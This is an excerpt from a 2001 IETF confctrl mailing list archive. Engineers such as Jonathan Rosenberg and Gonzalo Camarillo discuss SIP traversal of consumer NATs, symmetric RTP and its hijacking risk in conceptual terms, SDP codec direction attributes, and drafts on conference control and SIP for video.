> And of course there are SIP-ALGs that don't cost an arm and
> a leg that solve all these problems (my biased opinion).
> 
> If SIP proxy vendors are interested in partnering to solve
> this problem for their customers we would welcome that.
> 
> > >
> > > On a different tangent, (never being one to shy
> > > away from having multiple contradictory opinions
> > > on the same subject), plain old firewalls (not
> > > NAT'ing firewalls) are current still a problem
> > > since they typically block the dynamic range for
> > > RTP.
> >
> 
> This problem is solved by a SIP ALG sitting in parallel with
> a this kind of a firewall. AKA a side-car approach in which
> timer based pin holes are created in the SIP-ALG.

I guess I'm just not making myself clear here.

This "side-car" approach, ala midcom, is just fine for service provider
networks, where the provider is rolling out a firewall/NAT and is well aware
of this application, and the need to support it. Same story for an
enterprise rolling out sip internally. Indeed, my company sells just such a
solution. That is NOT the problem space I am talking about.

I am talking here about NATs which sit between subscribers and their
providers, where there is NOT A RELATIONSHIP between the NAT and the proxies
run by sip provider. In this scenario, there is no way to connect the NAT to
an ALG in the network.

Let me give an example. I have a nat box at home. Its made by Linksys. You
can buy them in CompUSA for $150. It is meant to be an easy to use, cheap,
consumer device. It does not have SIP ALG support embedded in it. Nor does
it have controls that allow an external proxy ALG sitting in the network to
control it. Nor am I alone in having such NATs. OK, now I want to get SIP
service. Apparently, Shiv is proposing that I wait for Linksys to embed an
ALG in their $150 box, if that should ever happen, or wait for midcom
support in that box, once the standards are complete. He also proposes that
my SIP service provider wait to turn on service, until their potential
customers get such new boxes. Sounds like a great way to go out of business.
The alternative is that the provider modifies the components they have
control over - the client device and the server, so they work through
Linksys and *any* other NAT their customers might have. Unlike Linksys, who
would need to worry about every protocol that might ever get used (whcih
they simply won't), the sip service provider needs to only worry about one
protocol - sip. The sip provider is the one making money on the service, so
it is them who is motivated to solve this problem.

Another example. Many cable modem providers have NATs that hide their entire
network. Every subscriber that gets cable modem service from one of these
providers is behind a nat, and doesn't even know it. The subscriber wants
sip services from some other provider. There is no way, ever, that the cable
modem provider is going to allow random SIP providers to control their
firewalls. Nor is the cable modem provider motivated to upgrade their nat to
support sip alg. The cable provider won't make any money from it. Their
subscribers aren't using sip services (they can't). Why bother?

This is not a theoretical problem for which we posit the theoretically ideal
solution. I already know the ideal solution, which is to throw all the nats
out and deploy IPV6. Now waiting for that is a really good way to go out of
business.

Solutions like what I am proposing have already been done in countless other
applications, where there were no standards. Even within VoIP, proprietary
VoIP protocols are using solutions like what I describe in order to traverse
NATs (yahoo, MSN, AOL voice). Those guys care about deployment, and so do I.
But, I also care about standards. So, instead of having everyone hack things
up horribly in a proprietary way, I'm proposing a small modification to the
way this stuff is handled, which can help all of us deploy SIP now through
existing NATs. Shiv can wait for everyone to upgrade their NATs (several
years, probably). I'd rather not.

-Jonathan R.




---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Fri Mar 16 20:44:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA09607
	for confctrl-outgoing; Fri, 16 Mar 2001 20:44:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA09602
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 20:44:45 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2H4iiq25410
	for <confctrl@ISI.EDU>; Fri, 16 Mar 2001 20:44:44 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA19580;
	Fri, 16 Mar 2001 23:47:58 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QVPD>; Fri, 16 Mar 2001 23:46:45 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BC3A@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Michael Thomas'" <mat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Date: Fri, 16 Mar 2001 23:46:37 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Friday, March 16, 2001 11:39 AM
> To: Jonathan Rosenberg
> Cc: 'Michael Thomas'; 'sip@lists.bell-labs.com'; 'rem-conf@es.net';
> 'confctrl@isi.edu'
> Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
> 
> 
> Jonathan Rosenberg writes:
>  > > From: Michael Thomas [mailto:mat@cisco.com]
>  > > Ie, allow RTP on a well
>  > > known port and demux using the SSCR? I seem to
>  > > recall that this has a fatal problem, but I can't
>  > > remember what it is. I really should go re-read my
>  > > Chapman/Zwicky first, but... If we could do this
>  > > your BRTP proposal would make RTP look like any
>  > > old UDP command/response protocol from the
>  > > firewall standpoiont which might interesting.
>  > 
>  > It doesn't work when there are machines that have
>  > multiple processes, each of which is terminating RTP.
>  > Thats because you can no longer use the system provided
>  > demux (ports), and now must resort to a new, intermediate
>  > demux layer (using ssrc). Plus, it would require signaling
>  > the SSRC within SDP/SIP. Much akin to the SCTP stream discussion
>  > in a separate thread on the sip list.
> 
>    On the first part, that's mainly an OS implementation
>    issue; in fact, an OS could just ignore this problem
>    and allow processes to camp on the well known port on 
>    a first come first serve basis and it would probably
>    work sort of OK until things got sorted out.

I don't follow you. If its FCFS, all the other apps won't get any 
of their packets. 


> 
>    The second part is more interesting. I think that
>    we all agree that this would require some sort of 
>    hint in SDP; I believe you suggested calling it
>    BRTP ala the 1890 profile convention (*). If we
>    assumed that that is what was placed into SDP,
>    the normal thing a server does is reverses the
>    source and destination port to reply, and the
>    receiver could just camp on its source port to
>    get the return flow, right? 

Yes.


In fact, you might
>    not even need to modify SDP at all if you got
>    an IANA registered port and used that as the 
>    key of whether to do BRTP or not. 

I generally prefer to be explicit about it. Either way its an extension
to the client in semantics. May as well reflect that in syntax.

Christian writes:
> > How does symmetric RTP create a risk of hijacking?
> 
> You discard the SDP information and instead reply to whatever address
> the first RTP packet came from. If this first packet comes 
> from a third
> party, you end up with a session to the third party instead 
> of a session
> to the original target. As I said, this is a mild risk: the 
> third party
> has to be able to find out which port you listen to, and it 
> has to have
> good timing. Also, the third party has to find a way to shut down the
> original target of the call.

The same thing can pretty much happen in current SIP/SDP/RTP. I snoop some
SIP/SDP on the wire, and learn the IP address port the caller is listening
on. I then send them packets. The called party will also send packets to the
caller. The caller can't tell who is the real called party, and who is the
attacker. So, it either plays both (which is what would happen using RTP
semantics - mix all SSRC you receive on a session), drops the call, or picks
one (the wrong one half the time). Seems just as bad. 

-Jonathan R.
---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Fri Mar 16 22:17:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA12628
	for confctrl-outgoing; Fri, 16 Mar 2001 22:17:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA12623
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 22:17:27 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2H6HQq05535
	for <confctrl@ISI.EDU>; Fri, 16 Mar 2001 22:17:27 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA19927;
	Sat, 17 Mar 2001 01:20:40 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QVRZ>; Sat, 17 Mar 2001 01:19:27 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BC43@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Culpepper, Bert'" <bert.culpepper@intervoice-brite.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'Piotr S. Kossowski'"
	 <P.Kossowski@elka.pw.edu.pl>,
        "'sip@lists.bell-labs.com'"
	 <sip@lists.bell-labs.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line in INVIT
	 E transact ion
Date: Sat, 17 Mar 2001 01:19:23 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-2"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Culpepper, Bert [mailto:bert.culpepper@intervoice-brite.com]
> Sent: Thursday, March 15, 2001 11:00 AM
> To: Jonathan Rosenberg; 'Piotr S. Kossowski'; 
> 'sip@lists.bell-labs.com'; 'confctrl@isi.edu'
> Subject: RE: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' 
> line in INVIT E transact ion
> 
> > An alternative is to define an attribute that allows codecs 
> > within a stream
> > to be unidirectional:
> > 
> > INVITE
> > m=audio 5004 RTP/AVP 0 77
> > a=rtpmap:77 telephone-event
> > a=direction:77 sendonly
> > 
> > 200 OK
> > m=audio 5004 RTP/AVP 0 77
> > a=rtpmap:77 telephone-event
> > a=direction:77 recvonly
> > 
> > This is yet another SDP extension. There are many recognized 
> > limitations of
> > SDP, and thus the reasoning behind SDP-ng, which will address 
> > this case.
> > 
> > So, what should we do here?
> 
> I believe the above can be achieved without any SDP extension. 
> For the case a UA supports multiple codecs differently, it can 
> use multiple media descriptions.  For example, the case above 
> can be signaled as:
> 
> INVITE
> m=audio 5004 RTP/AVP 0
> m=audio 5004 RTP/AVP 77
> a=rtpmap:77 telephone-event
> a=sendonly
>  
> 200 OK
> m=audio 5004 RTP/AVP 0
> m=audio 5004 RTP/AVP 77
> a=rtpmap:77 telephone-event
> a=recvonly

No, this has a different meaning. Multiple m lines in SDP imply "parallel"
streams. What we want here are alternatives.

> > I'm inclined, in the interests of KISS, to:
> > 
> > 1. stick with the subset mechanism and correct the 
> > inconsistencies in the
> > flows
> 
> I don't see any harm in allowing a response to contain a superset 
> of the codecs offered in a request.  A requestor can simply not 
> send any media it doesn't support.

WHich they don't, since it wasn't in the request, unless the codec was
send-only at the caller. 

-Jonathan R.
---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Sat Mar 17 13:02:42 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA10552
	for confctrl-outgoing; Sat, 17 Mar 2001 13:02:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA10547
	for <confctrl@zephyr.isi.edu>; Sat, 17 Mar 2001 13:02:39 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2HL2Yq00846
	for <confctrl@ISI.EDU>; Sat, 17 Mar 2001 13:02:38 -0800 (PST)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f2HL2VC19878;
	Sat, 17 Mar 2001 22:02:31 +0100 (MET)
Received: from lmf.ericsson.se (racom107001.am.ericsson.se [147.117.107.1])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id WAA24513;
	Sat, 17 Mar 2001 22:02:21 +0100 (MET)
Message-ID: <3AB3CFEA.A926519F@lmf.ericsson.se>
Date: Sat, 17 Mar 2001 22:58:18 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Culpepper, Bert'" <bert.culpepper@intervoice-brite.com>,
        "'Piotr S. Kossowski'" <P.Kossowski@elka.pw.edu.pl>,
        "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line in INVITE 
 transact ion
References: <B65B4F8437968F488A01A940B21982BF0128BC43@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Jonathan Rosenberg wrote:
> 

> > INVITE
> > m=audio 5004 RTP/AVP 0
> > m=audio 5004 RTP/AVP 77
> > a=rtpmap:77 telephone-event
> > a=sendonly
> >
> > 200 OK
> > m=audio 5004 RTP/AVP 0
> > m=audio 5004 RTP/AVP 77
> > a=rtpmap:77 telephone-event
> > a=recvonly
> 
> No, this has a different meaning. Multiple m lines in SDP imply "parallel"
> streams. What we want here are alternatives.


This is addressed by:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-00.txt

If you guys want me to add an example about this before going to final
call let me know.

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Sun Mar 18 12:05:37 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA26880
	for confctrl-outgoing; Sun, 18 Mar 2001 12:05:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA26874
	for <confctrl@zephyr.isi.edu>; Sun, 18 Mar 2001 12:05:35 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2IK5Xq11299
	for <confctrl@ISI.EDU>; Sun, 18 Mar 2001 12:05:34 -0800 (PST)
Received: from plumps (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id f2IJvtG28521;
	Sun, 18 Mar 2001 20:57:55 +0100 (MET)
Message-Id: <Version.32.20010318012927.04542c70@127.0.0.1>
X-Sender: jo@127.0.0.1 (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Sun, 18 Mar 2001 01:34:05 +0100
To: Dirk.Trossen@nokia.com, Marcelo.HeilFranca@icn.siemens.de
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: RE: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
Cc: confctrl@ISI.EDU
In-Reply-To: <B9CFA6CE8FFDD211A1FB0008C7894E4603654B59@bseis01nok>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Well, the MMUSIC charter has not yet been updated.  It is still
discussed if (and to what extend) conference control will make
it onto the charter (and whether we will be looking primarily
or exclusively into SIP-related issues).

The MMUSIC agenda for Minneapolis intentionally does not include
any discussion on conferencing protocols.

Cheers,
Joerg



>Hi,
>
>as Dirk K. already mentioned, the current draft addresses service issues
>only.
>The idea behind that is to find a consensus on the required services for
>conference course control first. The second step will address mapping onto
>specific transports, i.e., probably more than one mapping specification
>will exist. 
>
>BTW, the MMUSIC Charter webpage contains a specific statement concerning
>SCCP and so does the Internet Multimedia Conferencing Architecture Draft
>(if I recall this correctly). 
>
>Regards
>
>
>Dirk
>
>> -----Original Message-----
>> From: ext Dirk Kutscher [mailto:dku@informatik.uni-bremen.de]
>> Sent: Saturday,March 10,2001 4:22 PM
>> To: Heil Franca Marcelo ICM N MC MI E 73
>> Cc: 'cabo@tzi.org'; confctrl@ISI.EDU
>> Subject: Re: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
>> 
>> 
>> >>>>> "Marcelo" == Heil Franca Marcelo ICM N MC MI E 73 
>> <Marcelo.HeilFranca@icn.siemens.de> writes:
>> 
>>     Marcelo> Carsten, I see SCCP as an interesting option for
>>     Marcelo> tighly-coupled conference control in the context of the
>>     Marcelo> internet multimedia conference architecture and would
>>     Marcelo> like to support it. Could you please give me some
>>     Marcelo> background information on the history of SCCP?
>> 
>>     Marcelo> There seems to be no specific statement to it in the
>>     Marcelo> MMUSIC WG charter and I have not seen any directly
>>     Marcelo> related discussions in the mailing list in the past
>>     Marcelo> weeks. Also the recently expired
>>     Marcelo> draft-ietf-mmusic-confarch-03.txt makes references to a
>>     Marcelo> SCCP internet-draft from 1996(!).
>> 
>> Marcelo,
>> 
>> right, draft-ietf-mmusic-sccp-00.txt has been submitted some years
>> ago. The motivation for re-submitting it is to re-initiate the
>> discussion on the subject (if there is any interest) and, first of
>> all, to define the required services for a conference course control
>> protocol.
>> 
>> The current version of the draft merely specifies services. We did not
>> advance the original protocol spec. because we thought that the
>> required features might be different than 5 years ago, now that
>> significant experiences with conference announcement, conference
>> initiation, local coordination, media transport and reliable multicast
>> have been gained.
>> 
>> For example, the SIP conferencing ideas that are emerging now should
>> probably be considered for the specification of a conference control
>> protocol.
>> 
>> -- 
>> 	Dirk
>> 
> 


From confctrl-owner  Mon Mar 19 12:19:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA15418
	for confctrl-outgoing; Mon, 19 Mar 2001 12:19:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA15412
	for <confctrl@zephyr.isi.edu>; Mon, 19 Mar 2001 12:18:59 -0800 (PST)
Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2JKIwq13165
	for <confctrl@ISI.EDU>; Mon, 19 Mar 2001 12:18:58 -0800 (PST)
Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174])
	by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id OAA07164;
	Mon, 19 Mar 2001 14:15:46 -0600
Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0)
	id <YB5M6NPS>; Mon, 19 Mar 2001 14:11:24 -0600
Message-ID: <DBD1CC7CE357D211AECC009027158FD103F34328@itmail-ict1-imc.wichita.brite.com>
From: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'Piotr S. Kossowski'" <P.Kossowski@elka.pw.edu.pl>,
        "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line in INVIT
	E  transact ion
Date: Mon, 19 Mar 2001 14:11:21 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Jonathan - I missed your point previously, I think a means to indicate
separate attributes for alternate codecs will be useful.

I don't have a preference on how it's done.  However, when reading the SDP
and SIP specs I don't understand the presence of multiple payload types in a
media description to mean "only send and/or recv one of these payloads
during the session".  But that it indicates the UA can handle any of the
payload types during the session, and that it can handle the encoding format
changing among the payload types during the session without further SDP or
SIP signaling.  (This might be irrelevant, it's Monday.)

Gonzalo - I believe an example (such as this) would be beneficial in your
draft.  I expect that two different implementations might represent
Jonathan's example differently.  For example, do you use one fid value for
the two payload types or do you use two fid values, a different fid value
for each payload type?  I'm not clear on how to indicate in a response that
I prefer DTMF tones over PCMU but that I only want one, not both (if the
requestor supports both but didn't indicate supporting both in the request).

Regards,
Bert

-----Original Message-----
From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
Sent: Saturday, March 17, 2001 3:58 PM
To: Jonathan Rosenberg
Cc: 'Culpepper, Bert'; 'Piotr S. Kossowski'; 'sip@lists.bell-labs.com';
'confctrl@isi.edu'
Subject: Re: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line in
INVITE transact ion


Hello,

Jonathan Rosenberg wrote:
> 

> > INVITE
> > m=audio 5004 RTP/AVP 0
> > m=audio 5004 RTP/AVP 77
> > a=rtpmap:77 telephone-event
> > a=sendonly
> >
> > 200 OK
> > m=audio 5004 RTP/AVP 0
> > m=audio 5004 RTP/AVP 77
> > a=rtpmap:77 telephone-event
> > a=recvonly
> 
> No, this has a different meaning. Multiple m lines in SDP imply "parallel"
> streams. What we want here are alternatives.


This is addressed by:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-00.txt

If you guys want me to add an example about this before going to final
call let me know.

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Wed Mar 21 09:29:12 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA29570
	for confctrl-outgoing; Wed, 21 Mar 2001 09:29:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA29565
	for <confctrl@zephyr.isi.edu>; Wed, 21 Mar 2001 09:29:11 -0800 (PST)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2LHTAq18235
	for <confctrl@isi.edu>; Wed, 21 Mar 2001 09:29:10 -0800 (PST)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <GNL2X8W0>; Wed, 21 Mar 2001 12:28:55 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD9494544247E@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "SIP reflector (E-mail)" <sip@lists.research.bell-labs.com>,
        confctrl@ISI.EDU, rem-conf@es.net
Subject: FW: I-D ACTION:draft-levin-sip-for-video-00.txt
Date: Wed, 21 Mar 2001 12:28:55 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello all!
You can find the attached draft in the IETF Draft directories.
I am looking for the comments from all the interested parties on the
emergency for each one of the listed (and additional) requirements before
preparing proposal(s) for their resolution.

There are some formatting deficiencies in the submitted ASCII version. I
will be happy to send the Word version, for those who are interested.

Best Regards,
Orit Levin
Chief Architect
RADVISION Inc.
TEL: +1.201.529.4300 x 230
FAX: +1.201.529.3516

-----Original Message-----
From: Internet-Drafts@ietf.org [mailto:Internet-Drafts@ietf.org]
Sent: Tuesday, February 27, 2001 6:53 AM
Subject: I-D ACTION:draft-levin-sip-for-video-00.txt


A New Internet-Draft is available from the on-line Internet-Drafts
directories.


	Title		: SIP Requirements for support of Multimedia and
Video
	Author(s)	: O. Levin
	Filename	: draft-levin-sip-for-video-00.txt
	Pages		: 14
	Date		: 26-Feb-01
	
This document outlines requirements for a call control
protocol for real-time multimedia support over IP. As a
part of its broader scope, the document examines
important aspects of interactive video communications
that need to be addressed by a call control protocol for
real-time multimedia support and discusses techniques
currently used to deal with them.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-levin-sip-for-video-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-levin-sip-for-video-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-levin-sip-for-video-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

From confctrl-owner  Thu Mar 22 15:18:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA13592
	for confctrl-outgoing; Thu, 22 Mar 2001 15:18:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA13587
	for <confctrl@zephyr.isi.edu>; Thu, 22 Mar 2001 15:18:26 -0800 (PST)
Received: from usrsrv1.meeting.ietf.org (smtp.meeting.ietf.org [135.222.20.40])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2MNIOq27606
	for <confctrl@isi.edu>; Thu, 22 Mar 2001 15:18:25 -0800 (PST)
Received: from maat (pcp001029pcs.wireless.meeting.ietf.org [135.222.66.17])
	by usrsrv1.meeting.ietf.org (8.11.2/8.11.2) with SMTP id f2MNIIt16666;
	Thu, 22 Mar 2001 17:18:18 -0600 (CST)
Message-Id: <3.0.5.32.20010322232040.00a32100@mailhost.jungle.bt.co.uk>
X-Sender: rbriscoe@mailhost.jungle.bt.co.uk (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Thu, 22 Mar 2001 23:20:40 +0000
To: confctrl@ISI.EDU
From: Bob Briscoe <rbriscoe@jungle.bt.co.uk>
Subject: Refs: Modular session description using XML
Cc: "Ing, Sarom" <sing@jungle.bt.co.uk>,
        "Rudkin, Steve" <srudkin@jungle.bt.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

MMUSIC folks,

At the MMUSIC session at the IETF just now, I promised to send these couple
of papers on using modular session descriptions, in particular using XML,
wrt to the discussions on a syntax for SDPng. This work was done in 1998-9
(from memory) at BT's Research Labs.

http://www.labs.bt.com/projects/mware.htm

Unfortunately, BT's style-police forace a style-sheet that jumps back up to
the index if I give a specific page.
So please click: 
> [Our focus] 
> Session control
> Relevant publications

The two relevant papers are:
"Simplifying Real-Time Multimedia Application Development Using Session
Descriptions"
http://www.labs.bt.com/projects/mware/focuspapers/SessionControl/nfaf/isn99.
pdf"NFAF: A Flexible, Modular Session Description Framework"
http://www.labs.bt.com/projects/mware/focuspapers/SessionControl/nfaf/isnpap
er.htm

Bob
________________________________________________________
Notice: This contribution is the personal view of the 
author and does not necessarily reflect the technical nor 
commercial direction of British Telecommunications plc.
________________________________________________________
Bob Briscoe      http://www.labs.bt.com/people/briscorj/

From confctrl-owner  Thu Mar 22 16:03:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA15616
	for confctrl-outgoing; Thu, 22 Mar 2001 16:03:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA15611
	for <confctrl@zephyr.isi.edu>; Thu, 22 Mar 2001 16:03:08 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2N036q05365
	for <confctrl@ISI.EDU>; Thu, 22 Mar 2001 16:03:07 -0800 (PST)
Received: from localhost.localdomain.informatik.uni-bremen.de (rasen.informatik.uni-bremen.de [134.102.218.99])
